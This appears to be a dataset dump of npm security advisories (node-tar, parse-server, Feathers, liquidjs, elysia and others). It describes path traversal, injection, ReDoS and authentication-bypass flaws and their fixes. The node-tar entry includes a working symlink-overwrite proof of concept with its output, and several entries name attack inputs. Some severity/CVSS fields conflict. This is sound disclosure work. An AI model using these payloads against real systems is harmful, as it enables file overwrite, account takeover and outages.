deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-5v7r-6r5c-r473
Package: file-type (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Vulnerable versions: >= 13.0.0, < 21.3.1
Patched in: 21.3.1

Summary: file-type affected by infinite loop in ASF parser on malformed input with zero-size sub-header

Details:
### Impact
A denial of service vulnerability exists in the ASF (WMV/WMA) file type detection parser. When parsing a crafted input where an ASF sub-header has a `size` field of zero, the parser enters an infinite loop. The `payload` value becomes negative (-24), causing `tokenizer.ignore(payload)` to move the read position backwards, so the same sub-header is read repeatedly forever.

Any application that uses `file-type` to detect the type of untrusted/attacker-controlled input is affected. An attacker can stall the Node.js event loop with a 55-byte payload.

### Patches
Fixed in version 21.3.1. Users should upgrade to >= 21.3.1.

### Workarounds
Validate or limit the size of input buffers before passing them to `file-type`, or run file type detection in a worker thread with a timeout.

### References
- Fix commit: 319abf871b50ba2fa221b4a7050059f1ae096f4f

### Reporter

crnkovic@lokvica.com
GitHub Security Advisory: GHSA-9ppj-qmqm-q256
Package: tar (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 7.5.10
Patched in: 7.5.11

Summary: node-tar Symlink Path Traversal via Drive-Relative Linkpath

Details:
### Summary
`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.

What happens with `linkpath: "C:../../../target.txt"`:
1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.
4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

### PoC
Tested on Arch Linux with `tar@7.5.10`.

PoC script (`poc.cjs`):

```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

Run:

```bash
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
```

Observed output:

```text
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt
```

`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.

### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
GitHub Security Advisory: GHSA-f45g-68q3-5w8x
Package: elysia (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: < 1.4.26
Patched in: 1.4.26

Summary: Elysia has a string URL format ReDoS

Details:
### Impact
`t.String({ format: 'url' })` is vulnerable to redos

Repeating a partial url format (protocol and hostname) multiple times cause regex to slow down significantly
```js
'http://a'.repeat(n)
```

Here's a table demonstrating how long it takes to process repeated partial url format
| `n` repeat | elapsed_ms |
| --- | --- |
| 1024 | 33.993 |
| 2048 | 134.357 |
| 4096 | 537.608 |
| 8192 | 2155.842 |
| 16384 | 8618.457 |
| 32768 | 34604.139 |

### Patches
Patched by 1.4.26, please kindly update `elysia` to >= 1.4.26 

Here's how long it takes after the patch
| `n` repeat | elapsed_ms |
| --- | --- |
| 1024 | 0.194 |
| 2048 | 0.274 |
| 4096 | 0.455 |
| 8192 | 0.831 |
| 16384 | 1.632 |
| 32768 | 3.052 |

### Workarounds
1. It's recommended to always limit URL format to a reasonable length
```ts
t.String({
	format: 'url',
	maxLength: 288
})
```

2. If a long URL format is necessary, to patch this without updating to 1.4.26, add the following code to any part of your codebase
```js
import { FormatRegistry } from '@sinclair/typebox'

FormatRegistry.Delete('url')
FormatRegistry.Set('url', (value) =>
	/^(?:https?|ftp):\/\/(?:[^\s:@]+(?::[^\s@]*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)(?:\.(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)*(?:\.(?:[a-z\u{00a1}-\u{ffff}]{2,})))(?::\d{2,5})?(?:\/[^\s]*)?$/iu.test(
		value
	)
)
```
GitHub Security Advisory: GHSA-p9xr-7p9p-gpqx
Package: @feathersjs/mongodb (NPM)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Vulnerable versions: >= 5.0.0, <= 5.0.41
Patched in: 5.0.42

Summary: Feathers has a NoSQL Injection via WebSocket id Parameter in MongoDB Adapter

Details:
Socket.IO clients can send arbitrary JavaScript objects as the id argument to any service method (get, patch, update, remove). The transport layer performs no type checking on this argument. When the service uses the MongoDB adapter, these objects pass through getObjectId() and land directly in the MongoDB query as operators. Sending {$ne: null} as the id matches every document in the collection.
GitHub Security Advisory: GHSA-wg9x-qfgw-pxhj
Package: @feathersjs/authentication-oauth (NPM)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-287: Improper Authentication
Vulnerable versions: >= 5.0.0, <= 5.0.41
Patched in: 5.0.42

Summary: Feathers has an OAuth Callback Account Takeover issue

Details:
An unauthenticated attacker can send a crafted GET request directly to `/oauth/:provider/callback` with a forged profile in the query string. The OAuth service's authentication payload has a fallback chain that reaches params.query (the raw request query) when Grant's session/state responses are empty. Since the attacker never initiated an OAuth authorize flow, Grant has no session to work with and produces no response, so the fallback fires. The forged profile then drives entity lookup and JWT minting. The attacker gets a valid access token for an existing user without ever contacting the OAuth provider. Critical (CVSS 9.8)
GitHub Security Advisory: GHSA-qpr4-jrj4-6f27
Package: parse-server (NPM)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 8.6.28
Patched in: 8.6.28

Summary: Parse Server: SQL injection via dot-notation field name in PostgreSQL

Details:
### Impact

An attacker can use a dot-notation field name in combination with the `sort` query parameter to inject SQL into the PostgreSQL database through an improper escaping of sub-field values in dot-notation queries. The vulnerability may also affect queries that use dot-notation field names with the `distinct` and `where` query parameters.

This vulnerability only affects deployments using a PostgreSQL database.

### Patches

The fix escapes characters in dot-notation sub-field values that could allow a SQL breakout.

### Workarounds

There is no known workaround.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-qpr4-jrj4-6f27
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.2
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.28
GitHub Security Advisory: GHSA-qpr4-jrj4-6f27
Package: parse-server (NPM)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 9.0.0, < 9.6.0-alpha.2
Patched in: 9.6.0-alpha.2

Summary: Parse Server: SQL injection via dot-notation field name in PostgreSQL

Details:
### Impact

An attacker can use a dot-notation field name in combination with the `sort` query parameter to inject SQL into the PostgreSQL database through an improper escaping of sub-field values in dot-notation queries. The vulnerability may also affect queries that use dot-notation field names with the `distinct` and `where` query parameters.

This vulnerability only affects deployments using a PostgreSQL database.

### Patches

The fix escapes characters in dot-notation sub-field values that could allow a SQL breakout.

### Workarounds

There is no known workaround.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-qpr4-jrj4-6f27
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.2
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.28
GitHub Security Advisory: GHSA-wmfp-5q7x-987x
Package: liquidjs (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 10.25.0
Patched in: 10.25.0

Summary: liquidjs has a path traversal fallback vulnerability

Details:
### Impact
The `layout`, `render`, and `include` tags allow arbitrary file access via absolute paths (either as string literals or through Liquid variables, the latter require `dynamicPartials: true`, which is the default). This poses a security risk when malicious users are allowed to control the template content or specify the filepath to be included as a Liquid variable.

### Patches
The root cause is LiquidJS allows `require.resolve()` as fallback but doesn't limit the directories it can resolve to. The issue is fixed via [#855](https://github.com/harttle/liquidjs/pull/855) and published version 10.25.0 on npm.

### Workarounds
#### Change the files in build time
In build time, through Shell script or Webpack `string-replace-loader`, change the file content of correxponding file (depending on your package `type`, for CommonJS it's `dist/liquid.node.js`) under `dist/`, 

```diff
  if (fs.fallback !== undefined) {
    const filepath = fs.fallback(file)
-   if (filepath !== undefined) yield filepath
+   if (filepath !== undefined) {
+     for (const dir of dirs) {
+       if (!enforceRoot || this.contains(dir, filepath)) {
+         yield filepath
+         break
+       }
+     }
    }
  }
```

#### Overriding by `fs` LiquidJS option
Adding a [`fs` option](https://liquidjs.com/api/interfaces/FS.html) to override the [default `fs` implementation](https://github.com/harttle/liquidjs/blob/1b85fdaa9c535021f7030a239a64003af26d31b5/src/fs/fs-impl.ts#L36-L40):

```javascript
const { statSync, readFileSync, promises: { stat, readFile } } = require('fs')
const { resolve, extname, dirname, sep } = require('path')

const fs = {
    exists: async (fp) => { try { await stat(fp); return true; } catch { return false } },
    existsSync: (fp) => { try { statSync(fp); return true } catch { return false } },
    resolve: (root, file, ext) => resolve(root, file + (extname(file) ? '' : ext)),
    contains: (root, file) => {
        const r = resolve(root)
        return file.startsWith(r.endsWith(sep) ? r : r + sep)
    },
    readFile: (fp) => readFile(fp, 'utf8'),
    readFileSync: (fp) => readFileSync(fp, 'utf8'),
    fallback: () => undefined,
    dirname,
    sep
};

const engine = new Liquid({ fs })
```

### References
Discussions: https://github.com/harttle/liquidjs/pull/851
Code fix: https://github.com/harttle/liquidjs/pull/855
GitHub Security Advisory: GHSA-27vg-33gh-4hwg
Package: @actual-app/sync-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 26.2.0
Patched in: 26.3.0

Summary: Actual Sync Server has an Authenticated Path Traversal

Details:
# Description

Actual Sync Server allows authenticated users to upload files through `POST /sync/upload-user-file`. In versions prior to 26.3.0, improper validation of the user-controlled `x-actual-file-id` header means that traversal segments (`../`) can escape the intended directory and write files outside `userFiles`.

## Mitigations
The vulnerability can be mitigated in prior versions by running the sync server in a filesystem sandbox.
GitHub Security Advisory: GHSA-5j86-7r7m-p8h6
Package: parse-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: >= 9.0.0-alpha.1, < 9.5.1-alpha.2
Patched in: 9.5.1-alpha.2

Summary: Parse Server has Denial of Service (DoS) and Cloud Function Dispatch Bypass via Prototype Chain Resolution

Details:
### Impact

An unauthenticated attacker can crash the Parse Server process by calling a Cloud Function endpoint with a prototype property name as the function name. The server recurses infinitely, causing a call stack size error that terminates the process.

Other prototype property names bypass Cloud Function dispatch validation and return HTTP 200 responses, even though no such Cloud Functions are defined. The same applies to dot-notation traversal.

All Parse Server deployments that expose the Cloud Function endpoint are affected.

### Patches

The internal handler registries for Cloud Functions, Jobs, Triggers, and Validators have been changed to prevent prototype chain properties from being resolved.

### Workarounds

Place a reverse proxy or WAF in front of Parse Server and block requests to `Object.prototype` property names.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-5j86-7r7m-p8h6
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.1-alpha.2
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.13
GitHub Security Advisory: GHSA-5j86-7r7m-p8h6
Package: parse-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: < 8.6.13
Patched in: 8.6.13

Summary: Parse Server has Denial of Service (DoS) and Cloud Function Dispatch Bypass via Prototype Chain Resolution

Details:
### Impact

An unauthenticated attacker can crash the Parse Server process by calling a Cloud Function endpoint with a prototype property name as the function name. The server recurses infinitely, causing a call stack size error that terminates the process.

Other prototype property names bypass Cloud Function dispatch validation and return HTTP 200 responses, even though no such Cloud Functions are defined. The same applies to dot-notation traversal.

All Parse Server deployments that expose the Cloud Function endpoint are affected.

### Patches

The internal handler registries for Cloud Functions, Jobs, Triggers, and Validators have been changed to prevent prototype chain properties from being resolved.

### Workarounds

Place a reverse proxy or WAF in front of Parse Server and block requests to `Object.prototype` property names.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-5j86-7r7m-p8h6
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.1-alpha.2
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.13
GitHub Security Advisory: GHSA-q342-9w2p-57fp
Package: parse-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-693: Protection Mechanism Failure
Vulnerable versions: >= 9.0.0-alpha.1, < 9.5.1-alpha.1
Patched in: 9.5.1-alpha.1

Summary: Parse Server has denylist `requestKeywordDenylist` keyword scan bypass through nested object placement

Details:
### Impact

The `requestKeywordDenylist` security control can be bypassed by placing any nested object or array before a prohibited keyword in the request payload. This is caused by a logic bug that stops scanning sibling keys after encountering the first nested value. Any custom `requestKeywordDenylist` entries configured by the developer are equally by-passable using the same technique.

All Parse Server deployments are affected. The `requestKeywordDenylist` is enabled by default.

### Patches

The fix replaces the recursive object scanner with an iterative stack-based traversal that processes all nested values without prematurely exiting the scan loop. This also eliminates a potential stack overflow on deeply nested payloads.

### Workarounds

Use a Cloud Code `beforeSave` trigger to validate incoming data for prohibited keywords across all classes.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-q342-9w2p-57fp
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.1-alpha.1
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.12
GitHub Security Advisory: GHSA-q342-9w2p-57fp
Package: parse-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-693: Protection Mechanism Failure
Vulnerable versions: < 8.6.12
Patched in: 8.6.12

Summary: Parse Server has denylist `requestKeywordDenylist` keyword scan bypass through nested object placement

Details:
### Impact

The `requestKeywordDenylist` security control can be bypassed by placing any nested object or array before a prohibited keyword in the request payload. This is caused by a logic bug that stops scanning sibling keys after encountering the first nested value. Any custom `requestKeywordDenylist` entries configured by the developer are equally by-passable using the same technique.

All Parse Server deployments are affected. The `requestKeywordDenylist` is enabled by default.

### Patches

The fix replaces the recursive object scanner with an iterative stack-based traversal that processes all nested values without prematurely exiting the scan loop. This also eliminates a potential stack overflow on deeply nested payloads.

### Workarounds

Use a Cloud Code `beforeSave` trigger to validate incoming data for prohibited keywords across all classes.

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-q342-9w2p-57fp
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.1-alpha.1
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.12
GitHub Security Advisory: GHSA-mf3j-86qx-cq5j
Package: parse-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: < 8.6.11
Patched in: 8.6.11

Summary: Parse Server has Regular Expression Denial of Service (ReDoS) via `$regex` query in LiveQuery

Details:
### Impact

A malicious client can subscribe to a LiveQuery with a crafted `$regex` pattern that causes catastrophic backtracking, blocking the Node.js event loop. This makes the entire Parse Server unresponsive, affecting all clients. Any Parse Server deployment with LiveQuery enabled is affected. The attacker only needs the application ID and JavaScript key, both of which are public in client-side apps.

This only affects LiveQuery subscription matching, which evaluates regex in JavaScript on the Node.js event loop. Normal REST and GraphQL queries are not affected because their regex is evaluated by the database engine.

### Patches

Regex evaluation in LiveQuery subscription matching now runs in an isolated VM context with a configurable timeout via a new Parse Server option `liveQuery.regexTimeout, with defaults 100 ms. A regex that exceeds the timeout is treated as non-matching.

The protection adds approximately 50 microseconds of overhead per regex evaluation. For most applications this is negligible, but it can add up if there is a very large number of LiveQuery subscriptions that use `$regex` on the same class. For example, 10,000 concurrent regex subscriptions would add approximately 500ms of processing time per object save event on that class. Set `liveQuery.regexTimeout: 0` to disable the protection and use native regex evaluation without overhead.

### Workarounds

Use the `beforeSubscribe` Cloud Code hook to reject any LiveQuery subscription that contains a `$regex` operator. Note that this also blocks the LiveQuery `startsWith`, `endsWith`, and `contains` query methods, as they use `$regex` internally.

```js
// Repeat for each class that is used with LiveQuery
Parse.Cloud.beforeSubscribe('MyClass', request => {
  const where = request.query._where || {};
  for (const value of Object.values(where)) {
    if (value?.$regex) {
      throw new Parse.Error(Parse.Error.OPERATION_FORBIDDEN, '$regex not allowed in LiveQuery subscriptions');
    }
  }
});
```

### References

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-mf3j-86qx-cq5j
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.0-alpha.14
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.11